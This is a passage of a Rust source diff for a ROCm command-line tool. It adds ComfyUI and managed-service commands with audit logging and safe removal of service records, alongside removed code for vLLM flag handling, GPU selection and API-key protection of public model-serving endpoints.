ComfyUI status", + None, + ); + Ok(()) + } + ComfyuiCommand::ModelsPath => { + print!("{}", comfyui::render_models_path(&paths)?); + record_cli_audit_event( + &paths, + "app", + "comfyui_models_path", + "info", + "rendered ComfyUI models path", + None, + ); + Ok(()) + } + ComfyuiCommand::Logs { lines } => { + print!("{}", comfyui::render_logs(&paths, lines)?); + record_cli_audit_event( + &paths, + "app", + "comfyui_logs", + "info", + "rendered ComfyUI logs", + None, + ); + Ok(()) + } + ComfyuiCommand::Install { + runtime_id, + reinstall, + dry_run, + yes: _, + } => { + match comfyui::install( + &paths, + &config, + comfyui::ComfyUiInstallOptions { + runtime_id: runtime_id.clone(), + reinstall, + dry_run, + }, + ) { + Ok(text) => { + print!("{text}"); + record_cli_audit_event( + &paths, + "app", + if dry_run { + "comfyui_install_dry_run" + } else { + "comfyui_install" + }, + "info", + format!( + "ComfyUI install completed runtime={} reinstall={} dry_run={}", + runtime_id.as_deref().unwrap_or(""), + reinstall, + dry_run + ), + None, + ); + Ok(()) + } + Err(error) => { + record_cli_audit_event( + &paths, + "app", + if dry_run { + "comfyui_install_dry_run" + } else { + "comfyui_install" + }, + "error", + format!( + "ComfyUI install failed runtime={} reinstall={} dry_run={}: {error}", + runtime_id.as_deref().unwrap_or(""), + reinstall, + dry_run + ), + None, + ); + Err(error) } - } else { - eprintln!( - "warning: existing --override-generation-config value is not valid JSON; discarding it" - ); } - continue; - } - if flag == "--override-generation-config" { - take_value = true; - continue; } - rewritten.push(flag); - } - for (key, value) in overrides { - merged.insert(key.clone(), value.clone()); + ComfyuiCommand::Start { + host, + port, + no_open_browser, + yes: _, + } => match comfyui::start( + &paths, + comfyui::ComfyUiStartOptions { + host, + port, + no_open_browser, + }, + ) { + Ok(text) => { + print!("{text}"); + record_cli_audit_event( + &paths, + "app", + "comfyui_start", + "info", + "ComfyUI start requested", + None, + ); + Ok(()) + } + Err(error) => { + record_cli_audit_event( + &paths, + "app", + "comfyui_start", + "error", + format!("ComfyUI start failed: {error}"), + None, + ); + Err(error) + } + }, + ComfyuiCommand::Stop { yes: _ } => match comfyui::stop(&paths) { + Ok(text) => { + print!("{text}"); + record_cli_audit_event( + &paths, + "app", + "comfyui_stop", + "info", + "ComfyUI stop requested", + None, + ); + Ok(()) + } + Err(error) => { + record_cli_audit_event( + &paths, + "app", + "comfyui_stop", + "error", + format!("ComfyUI stop failed: {error}"), + None, + ); + Err(error) + } + }, } - rewritten.push("--override-generation-config".to_owned()); - rewritten.push(serde_json::Value::Object(merged).to_string()); - *flags = rewritten; } -/// Rewrites `flags` so vLLM tool calling uses exactly `parser`: drops any existing -/// `--tool-call-parser ` pair, ensures `--enable-auto-tool-choice` is -/// present, then appends the new parser flag. -fn set_vllm_tool_call_parser(flags: &mut Vec, parser: &str) { - let existing = std::mem::take(flags); - let mut rewritten: Vec = Vec::with_capacity(existing.len() + 3); - let mut skip_value = false; - for flag in existing { - if skip_value { - // Drop the value that followed the removed `--tool-call-parser`. - skip_value = false; - continue; - } - if flag == "--tool-call-parser" { - skip_value = true; - continue; - } - rewritten.push(flag); +fn run_approved_service_action( + paths: &AppPaths, + tool: &str, + service_id: &str, + yes: bool, +) -> Result<()> { + validate_service_id(service_id)?; + if !yes { + bail!( + "{} local server `{service_id}` requires --yes.\n\nTry: rocm services {} {service_id} --yes", + service_action_verb(tool), + service_action_command(tool) + ); } - if !rewritten - .iter() - .any(|flag| flag == "--enable-auto-tool-choice") - { - rewritten.push("--enable-auto-tool-choice".to_owned()); + let sandbox_tool = sandbox_tool_arg_from_service_tool(tool)?; + let result = run_internal_sandbox_tool(paths, sandbox_tool, Some(service_id.to_owned()), true)?; + print!("{}", render_service_action_result(tool, &result)); + record_cli_audit_event( + paths, + "service", + tool, + "info", + format!( + "{} managed service {service_id}", + service_action_past_tense(tool) + ), + Some(service_id), + ); + Ok(()) +} + +fn sandbox_tool_arg_from_service_tool(tool: &str) -> Result { + match tool { + "stop_server" => Ok(SandboxToolArg::StopServer), + "restart_server" => Ok(SandboxToolArg::RestartServer), + "list_servers" => Ok(SandboxToolArg::ListServers), + other => bail!("unsupported service tool `{other}`"), } - rewritten.push("--tool-call-parser".to_owned()); - rewritten.push(parser.to_owned()); - *flags = rewritten; } -/// Applies an explicit `--gpu-memory-utilization` to the vLLM engine recipe. -/// -/// rocm-cli intentionally ships no default for this: vLLM sizes its KV cache as -/// a fraction of the device's TOTAL VRAM, and any number rocm-cli picked would -/// silently override upstream's and drift from it. So the flag is passed through -/// only when the user asked for one, via `required_flags` (the same channel the -/// `--tool-call-parser` override uses — no protocol change needed). -/// -/// Only vLLM is affected. An explicit value wins over any recipe-authored one, -/// and a minimal hint is synthesized when none exists. -fn engine_recipe_with_gpu_memory_utilization_override( - engine: &str, - hint: Option, - gpu_memory_utilization: Option, -) -> Option { - if !engine.eq_ignore_ascii_case("vllm") { - return hint; - } - let Some(value) = gpu_memory_utilization else { - return hint; - }; - let mut hint = hint.unwrap_or_else(|| EngineRecipeHint { - contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), - engine: engine.to_owned(), - ..EngineRecipeHint::default() - }); - set_vllm_gpu_memory_utilization(&mut hint.required_flags, value); - Some(hint) -} - -/// Rewrites `flags` so vLLM receives exactly one `--gpu-memory-utilization -/// ` pair: drops any existing pair, then appends the new one. -fn set_vllm_gpu_memory_utilization(flags: &mut Vec, value: f64) { - let existing = std::mem::take(flags); - let mut rewritten: Vec = Vec::with_capacity(existing.len() + 2); - let mut skip_value = false; - for flag in existing { - if skip_value { - // Drop the value that followed the removed flag. - skip_value = false; - continue; - } - if flag == "--gpu-memory-utilization" { - skip_value = true; - continue; - } - rewritten.push(flag); +fn service_action_command(tool: &str) -> &'static str { + match tool { + "restart_server" => "restart", + "stop_server" => "stop", + _ => "run", } - rewritten.push("--gpu-memory-utilization".to_owned()); - rewritten.push(format!("{value}")); - *flags = rewritten; } -/// Parse `rocm serve --gpu-memory-utilization`. Unlike the env-var overrides -/// elsewhere in this file, an explicit CLI value is never silently ignored: a -/// user who types a bad fraction is told so. -fn parse_gpu_memory_utilization(value: Option<&str>) -> Result> { - let Some(raw) = value else { - return Ok(None); - }; - let trimmed = raw.trim(); - let parsed: f64 = trimmed.parse().map_err(|_| { - anyhow::anyhow!( - "--gpu-memory-utilization expects a fraction greater than 0 and at most 1 \ - (e.g. 0.5); got `{trimmed}`" - ) - })?; - if !parsed.is_finite() || parsed <= 0.0 || parsed > 1.0 { - bail!( - "--gpu-memory-utilization must be greater than 0 and at most 1 (a fraction of \ - the GPU's TOTAL VRAM, e.g. 0.5); got `{trimmed}`" - ); +fn service_action_verb(tool: &str) -> &'static str { + match tool { + "restart_server" => "Restarting", + "stop_server" => "Stopping", + _ => "Changing", } - Ok(Some(parsed)) } -/// Whether the resolved engine recipe launches vLLM with tool calling enabled. -fn engine_recipe_enables_tool_choice(hint: Option<&EngineRecipeHint>) -> bool { - hint.is_some_and(|hint| { - hint.required_flags - .iter() - .any(|flag| flag == "--enable-auto-tool-choice") - }) +fn service_action_past_tense(tool: &str) -> &'static str { + match tool { + "restart_server" => "restarted", + "stop_server" => "stopped", + _ => "updated", + } } -/// Parsed `rocm serve` arguments. Grouped into a struct to keep the dispatcher -/// and `serve()` readable now that the verb carries verbose/smoke-test controls. -struct ServeArgs { - model: String, - engine: Option, - device: Option, - gpu: Option, - runtime_id: Option, - env_id: Option, - host: String, - port: u16, - foreground: bool, - managed: bool, - verbose: bool, - no_smoke_test: bool, - allow_public_bind: bool, - require_api_key: bool, - tool_call_parser: Option, - gpu_memory_utilization: Option, - temperature: Option, - top_p: Option, - max_tokens: Option, - api_key: Option, +// --------------------------------------------------------------------------- +// Local server record removal +// --------------------------------------------------------------------------- + +/// Default age gate for `rocm services prune`. +/// +/// A record that has only just stopped is the one a user is most likely to still +/// want: `rocm services list --all` advertises `rocm services restart --yes` +/// for exactly that record, and pruning it destroys both that affordance and the +/// log explaining why it died. Defaulting to a day means a bulk cleanup reclaims +/// the accumulated history without swallowing the failure the user is currently +/// looking at. `--older-than-hours 0` opts out. +const DEFAULT_SERVICE_PRUNE_MIN_AGE_HOURS: u64 = 24; + +/// The on-disk files one managed-service record owns. +/// +/// Note `engine_state` lives *outside* `services_dir`, under +/// `/engines//state/`, so deleting the two files in `services_dir` +/// leaves it behind — that is how orphaned engine state accumulates today. +/// +/// Every path is rebuilt here from [`AppPaths`] plus the *validated* id and +/// engine, deliberately **not** read from the record's own `manifest_path` / +/// `log_path` / `engine_state_path` fields. Those are deserialized from a JSON +/// file under `~/.rocm` that anything can write, and this is the one code path +/// that deletes what they name. +#[derive(Debug, Clone)] +struct ServiceRecordArtifacts { + manifest: PathBuf, + log: PathBuf, + engine_state: PathBuf, + endpoint_key: PathBuf, } -fn serve(args: ServeArgs) -> Result<()> { - let ServeArgs { - model, - engine, - device, - gpu, - runtime_id, - env_id, - host, - port, - foreground, - managed, - verbose, - no_smoke_test, - allow_public_bind, - require_api_key, - tool_call_parser, - gpu_memory_utilization, - temperature, - top_p, - max_tokens, - api_key, - } = args; - let _ = managed; // background is now the default; --managed is accepted as an explicit synonym. - validate_bind_host(&host, allow_public_bind)?; - // Loopback stays credential-free; a public bind must be authenticated. Resolve - // (or generate) the endpoint key now so every downstream path — engine spawn, - // readiness probe, smoke test, and the client-config we print — shares one value. - // The `--api-key` flag wins; otherwise fall back to `ROCM_SERVE_API_KEY` (read - // here rather than via clap's `env` so it works without clap's `env` feature). - let supplied_key = api_key.or_else(|| { - std::env::var("ROCM_SERVE_API_KEY") - .ok() - .filter(|value| !value.trim().is_empty()) - }); - let endpoint_auth = resolve_endpoint_auth(&host, supplied_key.as_deref(), require_api_key)?; - let paths = AppPaths::discover()?; - let mut config = RocmCliConfig::load(&paths)?; - // Host GPU detection can involve sysfs/WSL probing, so only run it when engine - // selection would actually consult it: no explicit `--engine` and no non-empty - // configured `default_engine`. - let host_gpu_summary = if engine - .as_deref() - .is_some_and(|value| !value.trim().is_empty()) - || config - .default_engine - .as_deref() - .is_some_and(|value| !value.trim().is_empty()) - { - None - } else { - Some(detect_host_gpu_summary(Some(&paths))) - }; - let shared_recipe = resolve_model_recipe(&model)?; - let serve_engine = select_serve_engine( - engine.as_deref(), - config.default_engine.as_deref(), - shared_recipe.as_ref(), - host_gpu_summary.as_ref(), - ); - let selected_engine = serve_engine.engine.clone(); - // Fail closed: a public bind must be authenticated, but Windows managed - // Lemonade cannot receive the key (see `ensure_public_bind_engine_supported`), - // so refuse rather than launch an open public server. - ensure_public_bind_engine_supported(&selected_engine, endpoint_auth.is_some(), cfg!(windows))?; - let engine_model_ref = - serve_model_ref_for_engine(&model, shared_recipe.as_ref(), &selected_engine); - let recipe_hint = shared_recipe - .as_ref() - .filter(|recipe| model_recipe_supports_engine(recipe, &selected_engine)) - .and_then(|recipe| protocol_engine_recipe_hint(recipe, &selected_engine)); - // vLLM rejects the TUI chat tab's tool-bearing requests with HTTP 400 unless it - // is launched with `--enable-auto-tool-choice`/`--tool-call-parser`. The parser - // is model-specific and vLLM does not auto-detect it, so it is never guessed: it - // comes from authored catalog recipe metadata or an explicit `--tool-call-parser` - // override, applied here for vLLM only. - let engine_serves_vllm = selected_engine.eq_ignore_ascii_case("vllm"); - let engine_recipe = engine_recipe_with_tool_call_override( - &selected_engine, - recipe_hint, - tool_call_parser.as_deref(), - ); - // Validated before anything is launched so a typo fails immediately rather - // than surfacing as a vLLM argparse error deep in the engine log. - let gpu_memory_utilization = parse_gpu_memory_utilization(gpu_memory_utilization.as_deref())?; - let engine_recipe = engine_recipe_with_gpu_memory_utilization_override( - &selected_engine, - engine_recipe, - gpu_memory_utilization, - ); - // Stored without a `note:` prefix so it can feed both output paths: the plan - // path adds the prefix inline, the interactive summary adds it when rendering. - let gpu_memory_utilization_note = (gpu_memory_utilization.is_some() && !engine_serves_vllm) - .then(|| { - format!( - "--gpu-memory-utilization applies only to vLLM; ignored for engine '{selected_engine}'" - ) - }); - // Translate the engine-neutral CLI controls into each adapter's server-wide - // defaults: vLLM generation config or Lemonade llama.cpp launch flags. - let generation_defaults = ServeGenerationDefaults { - temperature, - top_p, - max_tokens, - }; - let engine_recipe = engine_recipe_with_generation_defaults( - &selected_engine, - engine_recipe, - generation_defaults, - )?; - let tool_call_note = if tool_call_parser.is_some() && !engine_serves_vllm { - Some(format!( - "note: --tool-call-parser applies only to vLLM; ignored for engine '{selected_engine}'" - )) - } else if engine_serves_vllm && !engine_recipe_enables_tool_choice(engine_recipe.as_ref()) { - Some( - "note: tool calling is disabled for this model; pass `--tool-call-parser ` (e.g. hermes, llama3_json, mistral) to enable it".to_owned(), - ) - } else { - None - }; - let device_policy = parse_device_policy(device.as_ref().map(|policy| policy.as_policy_str()))?; - let gpu_selection = parse_gpu_selection(gpu.as_deref())?; - // CPU-only serving never pins a GPU, so skip GPU resolution entirely and - // surface the explicit `--gpu` as ignored rather than printing a device the - // server will not use. - let cpu_only = matches!(device_policy, DevicePolicy::CpuOnly); - // AMD GPU ordinals still usable after the active visibility mask - // (`HIP_VISIBLE_DEVICES`, then `ROCR_VISIBLE_DEVICES`) is applied, in HIP - // ordinal space — the space `--gpu` is validated and exported through. A - // `ROCR_VISIBLE_DEVICES` mask hides devices below HIP, which re-indexes the - // survivors as `0..N`, so those HIP positions are what comes back here, not the - // physical ROCR token values. `None` means availability could not be probed - // (a non-Linux target, both KFD and DRM unreadable on Linux, or a mask this - // ordinal-only probe cannot interpret such as one naming UUIDs) — NOT WSL, - // which answers authoritatively via `detect_wsl_summary`. On `None` selection - // stays permissive and defers device validation to the engine. An empty set is - // the authoritative "no usable GPU", not "unknown". Computed once and reused - // for the fail-fast check below and for mask-aware GPU selection, so serve - // never auto-selects — or accepts an explicit `--gpu` for — a hidden device. - let visible_gpu_indices = if cpu_only { - None - } else { - rocm_core::usable_amd_gpu_indices() - }; - // Fail fast under a GPU-required policy when the host has no usable AMD GPU, - // BEFORE preparing or launching any engine (no wasted engine download, and an - // actionable message instead of a late engine crash). The engine enforces the - // same rule as a backstop. Skipped for cpu_only; permissive when availability - // cannot be probed on this platform (probe returns `None`). The E2E-only - // backend-failure scenario bypasses this host precondition so the black-box - // test reaches Lemonade's backend boundary without real GPU hardware. - let scripted_backend_failure = cfg!(feature = "e2e-test-hooks") - && std::env::var_os("ROCM_E2E_LEMONADE_BACKEND_INSTALL_FAILURE").is_some(); - if !cpu_only - && !scripted_backend_failure - && let Some(usable) = visible_gpu_indices.as_deref() - && usable.is_empty() - { - bail!( - "no usable AMD GPU detected; `rocm serve` requires a GPU under the {policy} \ - policy and does not fall back to CPU. Check the driver with `rocm examine`, \ - confirm /dev/kfd is present, and ensure HIP_VISIBLE_DEVICES / \ - ROCR_VISIBLE_DEVICES are not masking every device.", - policy = device_policy_name(&device_policy) - ); - } - // `--gpu` selects by the amd-smi `gpu` ordinal but is exported via - // `HIP_VISIBLE_DEVICES`; those orderings can diverge when - // `ROCR_VISIBLE_DEVICES`/partitioning is in play, so warn at serve time. - let rocr_visible_devices_set = std::env::var_os("ROCR_VISIBLE_DEVICES").is_some(); - // Whether *any* visibility mask is active. The visible set alone cannot say: - // with no mask it is just `0..present`, indistinguishable from a HIP mask - // that happens to list the low ordinals. `validate_pinned_gpu_index` uses - // this only to word its rejection — "under the active visibility mask" when a - // mask is set, "not present on this host" when none is — so an out-of-range - // `--gpu` on an unmasked host is not blamed on a mask the user never set. - let visibility_mask_active = - rocr_visible_devices_set || std::env::var_os("HIP_VISIBLE_DEVICES").is_some(); - let gpu_vram = if cpu_only { None } else { gpu_vram_usage() }; - // Validate an explicit `--gpu ` up front — before engine/runtime - // resolution — so an out-of-range or masked-out ordinal produces a - // GPU-specific refusal even when no ROCm runtime is configured. Otherwise the - // "no active ROCm runtime is configured" bail-out below pre-empts it and the - // user sees a generic runtime error for what is really a bad `--gpu` value. - // This is pure validation (no service-state read), so it needs no lock; - // `--gpu auto` reads live busy-GPU state and stays under `launch_lock` below. - let pinned_gpu_indices = if !cpu_only && let GpuSelection::Index(index) = &gpu_selection { - Some(validate_pinned_gpu_index( - *index, - detect_gpu_count(), - visible_gpu_indices.as_deref(), - visibility_mask_active, - )?) - } else { - None - }; - let resolved_selection = resolve_engine_selection( - &config, - &selected_engine, - runtime_id.as_deref(), - env_id.as_deref(), - ); - let resolved_selection = validate_engine_selection_runtime(&paths, resolved_selection)?; - if !matches!(device_policy, DevicePolicy::CpuOnly) - && resolved_selection.runtime_id.is_none() - && resolved_selection.env_id.is_none() - && !engine_manages_own_runtime(&selected_engine) - { - bail!( - "device_policy: {}; no active ROCm runtime is configured; run `rocm runtimes list` and `rocm runtimes activate `, or pass --runtime-id/--env-id", - device_policy_name(&device_policy) - ); - } - if !matches!(device_policy, DevicePolicy::CpuOnly) - && engine_manages_own_runtime(&selected_engine) - { - ensure_self_managed_engine_ready(&paths, &mut config, &selected_engine)?; - } - let resolve = engine_request::<_, ResolveModelResponse>( - Some(&paths), - &selected_engine, - EngineMethod::ResolveModel, - &ResolveModelRequest { - model_ref: engine_model_ref, - runtime_id: resolved_selection.runtime_id.clone(), - device_policy: Some(device_policy), - recipe_override: None, - engine_recipe, - }, - )?; - // Serialize GPU auto-selection with the managed-service claim: the busy-GPU - // read and the claiming record write inside `spawn_managed_engine_child` must - // be atomic, or two concurrent `rocm serve --gpu auto` can both read the same - // GPU as free and launch on it. Taken here — after engine resolution, - // self-managed runtime prep, and the `ResolveModel` RPC have all completed - // unlocked — so a slow first-use install (e.g. the Lemonade embeddable - // download/extract) never blocks an unrelated serve. - let (gpu_indices, launch_lock) = select_gpu_indices_under_launch_lock( - &paths, - cpu_only, - pinned_gpu_indices, - detect_gpu_count, - visible_gpu_indices.as_deref(), - gpu_vram.as_deref(), - )?; - let service_id = generate_service_id(&selected_engine, &resolve.canonical_model_id); - - // Attached foreground streaming is the debugging path, selected by `--verbose` - // or `--foreground`. Everything else backgrounds the server and, when writing - // to an interactive terminal, shows a progress spinner + deployment summary - // instead of a raw log stream. Piped/captured output (CI, the chat assistant) - // keeps the plain line-by-line form. - let use_foreground = foreground || verbose; - let background = !use_foreground; - let summary_mode = background && std::io::IsTerminal::is_terminal(&std::io::stdout()); - - if !summary_mode { - println!("serve plan"); - println!(" requested model: {model}"); - println!(" resolved model: {}", resolve.canonical_model_id); - println!(" engine: {selected_engine}"); - println!("{}", serve_engine_selection_line(&serve_engine)); - println!(" host: {host}"); - println!(" port: {port}"); - if let Some(runtime_id) = resolved_selection.runtime_id.as_deref() { - println!(" runtime_id: {runtime_id}"); - } - if let Some(env_id) = resolved_selection.env_id.as_deref() { - println!(" env_id: {env_id}"); - } - if let Some(source) = resolved_selection.source.as_deref() { - println!(" selection_source: {source}"); - } - println!( - " device_policy: {}", - device_policy_name(&resolve.device_policy) - ); - if cpu_only { - if matches!(gpu_selection, GpuSelection::Index(_)) { - println!( - " warning: --gpu was ignored because --device cpu_only runs the model on CPU" - ); - } - } else { - match &gpu_selection { - GpuSelection::Auto => { - let csv = rocm_engine_protocol::gpu_indices_to_csv(&gpu_indices) - .unwrap_or_else(|| "none".to_owned()); - println!(" gpu: auto (selected {csv})"); - } - GpuSelection::Index(_) => { - let csv = rocm_engine_protocol::gpu_indices_to_csv(&gpu_indices) - .unwrap_or_else(|| "none".to_owned()); - println!(" gpu: {csv}"); - } - } - if rocr_visible_devices_set { - println!( - " warning: ROCR_VISIBLE_DEVICES is set; the selected amd-smi ordinal is exported \ - via HIP_VISIBLE_DEVICES, which the runtime interprets relative to the \ - ROCR-visible set, so the device the engine binds may differ. Verify the \ - selected GPU or unset ROCR_VISIBLE_DEVICES." - ); - } - if let Some(warning) = serve_gpu_low_memory_warning( - &gpu_indices, - gpu_vram.as_deref(), - host_gpu_summary.as_ref(), - ) { - println!(" {warning}"); - if engine_serves_vllm { - println!(" note: {}", rocm_core::VLLM_GPU_MEMORY_UTILIZATION_HINT); - } - } - } - if let Some(engine_recipe) = &resolve.engine_recipe { - print!("{}", render_serve_engine_recipe_lines(engine_recipe)); - } - if let Some(note) = &tool_call_note { - println!(" {note}"); - } - if let Some(note) = &gpu_memory_utilization_note { - println!(" note: {note}"); - } - } - - let managed_runtime_id = resolved_selection.runtime_id.clone(); - let managed_env_id = resolved_selection.env_id.clone(); - - // Persist the endpoint key (public bind only) in a 0600 file so the engine - // child, the restart/recovery path, and inspection commands can retrieve it by - // service id. Loopback binds resolve to `None` and store nothing. - if let Some(key) = endpoint_auth.as_deref() { - endpoint_keys::store_endpoint_api_key(&paths, &service_id, key)?; - } - - if background { - let mut spinner = - cli_progress::Spinner::new(format!("Starting {model} on {selected_engine}…")); - spinner.tick(); - let report = start_managed_service( - &selected_engine, - &service_id, - &model, - &resolve, - &host, - port, - &resolve.device_policy, - &gpu_indices, - managed_runtime_id.as_deref(), - managed_env_id.as_deref(), - resolve.engine_recipe.as_ref(), - endpoint_auth.as_deref(), - launch_lock, - require_api_key, - &mut |_elapsed| spinner.tick(), - )?; - ensure_background_helper_running_quiet(summary_mode)?; - - // An equivalent service was already running, so nothing was spawned and the - // freshly generated key is unused — drop it rather than leave it orphaned in - // storage. The existing service keeps its own key. - if report.already_running { - drop_orphaned_endpoint_key_on_already_running( - &paths, - &service_id, - endpoint_auth.as_deref(), - ); - } - // Safe to move `endpoint_auth` here: this branch always returns, so the - // fall-through (attached) path below never observes it moved. - let launched_key = if report.already_running { - None - } else { - endpoint_auth - }; - - if summary_mode { - // Best-effort inference smoke test, on by default (opt out with - // `--no-smoke-test`). Only meaningful for a freshly-ready server we - // just launched; skipped when metrics could not be shown anyway. - let metrics = if !no_smoke_test && !report.already_running && report.status == "ready" { - spinner.set_label("Running smoke test…"); - // The local provider resolves the endpoint key from the per-service - // 0600 key file by service id, so the smoke test authenticates - // against a protected public endpoint without threading the secret - // through here. - serve_summary::run_smoke_test(&paths, &resolve.canonical_model_id) - } else { - serve_summary::SmokeMetrics::default() - }; - spinner.clear(); - - let notes = collect_serve_notes( - cpu_only, - &gpu_selection, - rocr_visible_devices_set, - &gpu_indices, - gpu_vram.as_deref(), - gpu_memory_utilization_note.as_deref(), - host_gpu_summary.as_ref(), - engine_serves_vllm, - ); - let summary = serve_summary::DeploymentSummary { - engine: selected_engine.clone(), - requested_model: model, - api_model: resolve.canonical_model_id, - chat_endpoint: format!("{}/chat/completions", report.endpoint_url), - service_id: report.service_id.clone(), - status: report.status.clone(), - already_running: report.already_running, - metrics, - api_key: launched_key, - notes, - }; - print!("{}", serve_summary::render_summary(&summary)); - } else { - spinner.clear(); - print_managed_launch_plain(&report, launched_key.as_deref()); - } - return Ok(()); - } - - run_attached_service( - &selected_engine, - &service_id, - &model, - &resolve, - &host, - port, - &gpu_indices, - resolved_selection.runtime_id.as_deref(), - resolved_selection.env_id.as_deref(), - endpoint_auth.as_deref(), - launch_lock, - require_api_key, - ) -} - -/// GPU/device warnings folded into the interactive deployment summary. Mirrors the -/// inline warnings printed in the plain serve plan, in the same order. -#[allow(clippy::too_many_arguments)] -fn collect_serve_notes( - cpu_only: bool, - gpu_selection: &GpuSelection, - rocr_visible_devices_set: bool, - gpu_indices: &[u32], - gpu_vram: Option<&[GpuVramUsage]>, - engine_flag_note: Option<&str>, - host_gpu_summary: Option<&rocm_core::HostGpuSummary>, - engine_is_vllm: bool, -) -> Vec { - let mut notes = Vec::new(); - // An engine-scoped flag the selected engine cannot honor must be reported here - // too: the summary path is what an interactive `rocm serve` actually prints, so - // a note only emitted on the plan path would never reach that user. - if let Some(note) = engine_flag_note { - notes.push(note.to_owned()); - } - if cpu_only { - if matches!(gpu_selection, GpuSelection::Index(_)) { - notes.push( - "--gpu was ignored because --device cpu_only runs the model on CPU".to_owned(), - ); - } - } else { - if rocr_visible_devices_set { - notes.push( - "ROCR_VISIBLE_DEVICES is set; the selected amd-smi ordinal is exported via \ - HIP_VISIBLE_DEVICES, which the runtime interprets relative to the ROCR-visible \ - set, so the device the engine binds may differ. Verify the selected GPU or unset \ - ROCR_VISIBLE_DEVICES." - .to_owned(), - ); - } - if let Some(warning) = serve_gpu_low_memory_warning(gpu_indices, gpu_vram, host_gpu_summary) - { - notes.push(warning); - // vLLM's total-VRAM reservation is what turns a busy card into an OOM; - // pair the generic warning with the concrete knob that avoids it. - if engine_is_vllm { - notes.push(rocm_core::VLLM_GPU_MEMORY_UTILIZATION_HINT.to_owned()); - } - } +impl ServiceRecordArtifacts { + /// Every artifact, in the order they are reported and deleted. + fn paths(&self) -> [&Path; 4] { + [ + &self.manifest, + &self.log, + &self.engine_state, + &self.endpoint_key, + ] } - notes } -fn validate_bind_host(host: &str, allow_public_bind: bool) -> Result<()> { - if !is_loopback_host(host) && !allow_public_bind { - bail!( - "`rocm serve --host {host}` is not loopback; pass `--allow-public-bind` before binding a non-local interface" - ); - } +/// Validate a manifest-supplied engine name as a single filesystem path +/// component. +/// +/// [`AppPaths::service_engine_state_path`] joins the engine name into a path +/// this module deletes, so an engine of `../../..` in a hand-edited manifest +/// would otherwise aim the removal outside `/engines`. Reuses the same +/// rules as [`validate_service_id`] — `ServiceId` is the repo's single source of +/// truth for "safe as one path component", and nothing about those rules is +/// specific to service ids. +fn validate_engine_component(engine: &str) -> Result<()> { + rocm_core::ServiceId::new(engine).with_context(|| { + format!("managed service engine `{engine}` is not a safe path component") + })?; Ok(()) } -/// Inverse of [`rocm_engine_protocol::is_public_bind_host`], which owns the -/// policy so `rocmd` classifies a recorded `host` identically when it respawns -/// the service. -fn is_loopback_host(host: &str) -> bool { - !rocm_engine_protocol::is_public_bind_host(host) +fn service_record_artifacts( + paths: &AppPaths, + service_id: &str, + engine: &str, +) -> Result { + validate_service_id(service_id)?; + validate_engine_component(engine)?; + Ok(ServiceRecordArtifacts { + manifest: paths.service_manifest_path(service_id), + log: paths.service_log_path(service_id), + engine_state: paths.service_engine_state_path(engine, service_id), + endpoint_key: endpoint_keys::endpoint_key_file_path(paths, service_id), + }) } -/// Resolve the API key that will guard this endpoint, applying the -/// loopback-vs-public policy for `rocm serve`. -/// -/// - **Loopback host** → `None`: local serving stays credential-free (the -/// unchanged default). Any key supplied for a loopback bind is ignored and -/// nothing is persisted — loopback needs no auth. -/// - **Public host** → `Some(key)`: use the user-supplied key when present, -/// otherwise generate a strong random one so a public endpoint can never come -/// up anonymous. An empty/whitespace supplied key is rejected rather than -/// silently treated as "no auth". -/// - **`required`** → treat a loopback bind as public for this purpose. +/// Delete every artifact that exists, collecting failures instead of stopping at +/// the first one. /// -/// That last case exists because "loopback" is a statement about the bind -/// address, not about who can reach the port. Publishing the port onto a -/// tailnet, proxying it, or mapping it out of a container all leave the bind -/// loopback while widening the audience — and the policy above would then hand -/// out an unauthenticated endpoint. Whoever widens the reach is responsible for -/// asking for the credential, so this is an explicit flag rather than a guess. -fn resolve_endpoint_auth( - host: &str, - supplied: Option<&str>, - required: bool, -) -> Result> { - if is_loopback_host(host) && !required { - return Ok(None); - } - match supplied { - Some(raw) => { - let trimmed = raw.trim(); - if trimmed.is_empty() { - bail!( - "`rocm serve --api-key` (or ROCM_SERVE_API_KEY) was empty; a public \ - endpoint must be protected by a non-empty API key" - ); - } - // The key is later interpolated verbatim into raw `Authorization: - // Bearer {key}\r\n` header lines; reject a control character (e.g. an - // embedded CR/LF) here so a crafted key cannot inject extra headers. - if rocm_core::endpoint_api_key_has_forbidden_chars(trimmed) { - bail!( - "`rocm serve --api-key` (or ROCM_SERVE_API_KEY) contained a control \ - character such as a carriage return or newline; an endpoint API key \ - must be a single line of printable characters" - ); - } - Ok(Some(trimmed.to_owned())) +/// A missing file is not an error: a record whose log was already deleted by +/// hand (the workaround this command replaces) must still be removable. An +/// unremovable one is returned as a message rather than propagated, because +/// `prune` walks many records and aborting mid-loop would throw away the +/// rendered plan and the audit event covering everything already deleted in the +/// same run — losing the record of a destructive action exactly when something +/// went wrong. +fn try_remove_service_record_artifacts( + artifacts: &ServiceRecordArtifacts, +) -> (Vec, Vec) { + let mut removed = Vec::new(); + let mut failures = Vec::new(); + for path in artifacts.paths() { + match fs::remove_file(path) { + Ok(()) => removed.push(path.to_path_buf()), + Err(error) if error.kind() == std::io::ErrorKind::NotFound => {} + Err(error) => failures.push(format!("{}: {error}", path.display())), } - None => Ok(Some(rocm_core::generate_endpoint_api_key())), } + (removed, failures) } -/// When an equivalent managed service is already running, the endpoint key -/// serve() freshly stored for this attempt is unused — drop it so it is not -/// orphaned in storage. The already-running service keeps its own key. -/// Best-effort and idempotent; a loopback attempt (`freshly_stored == None`) -/// is a no-op. -fn drop_orphaned_endpoint_key_on_already_running( - paths: &AppPaths, - service_id: &str, - freshly_stored: Option<&str>, -) { - if freshly_stored.is_some() { - endpoint_keys::clear_endpoint_api_key(paths, service_id); +/// Delete every artifact that exists, returning the paths actually removed. +/// +/// The strict form, for `remove`, which owns exactly one record and has no +/// partial progress to report: any file it could not delete is the command +/// failing. Every artifact is still attempted first, so a single stubborn file +/// does not strand the other three. +fn remove_service_record_artifacts(artifacts: &ServiceRecordArtifacts) -> Result> { + let (removed, failures) = try_remove_service_record_artifacts(artifacts); + if !failures.is_empty() { + bail!("failed to remove {}", failures.join("; ")); } + Ok(removed) } -/// Reject engine/platform combinations that cannot enforce a public endpoint's -/// API key, so a public bind fails closed instead of coming up unauthenticated. +/// Whether a record is too alive to delete: the CLI reads it as live, *or* a +/// process it recorded is still running. /// -/// The one such case today: Windows managed Lemonade. Its server reads the -/// value-typed `LEMONADE_API_KEY` env var, but the Windows detached-spawn -/// primitive only carries path-valued env overrides, so the key never reaches it. -/// vLLM enforces auth on every platform (`VLLM_API_KEY`), and loopback binds -/// (`public_bind == false`) need no key — both pass. `is_windows` is a parameter -/// so both branches are 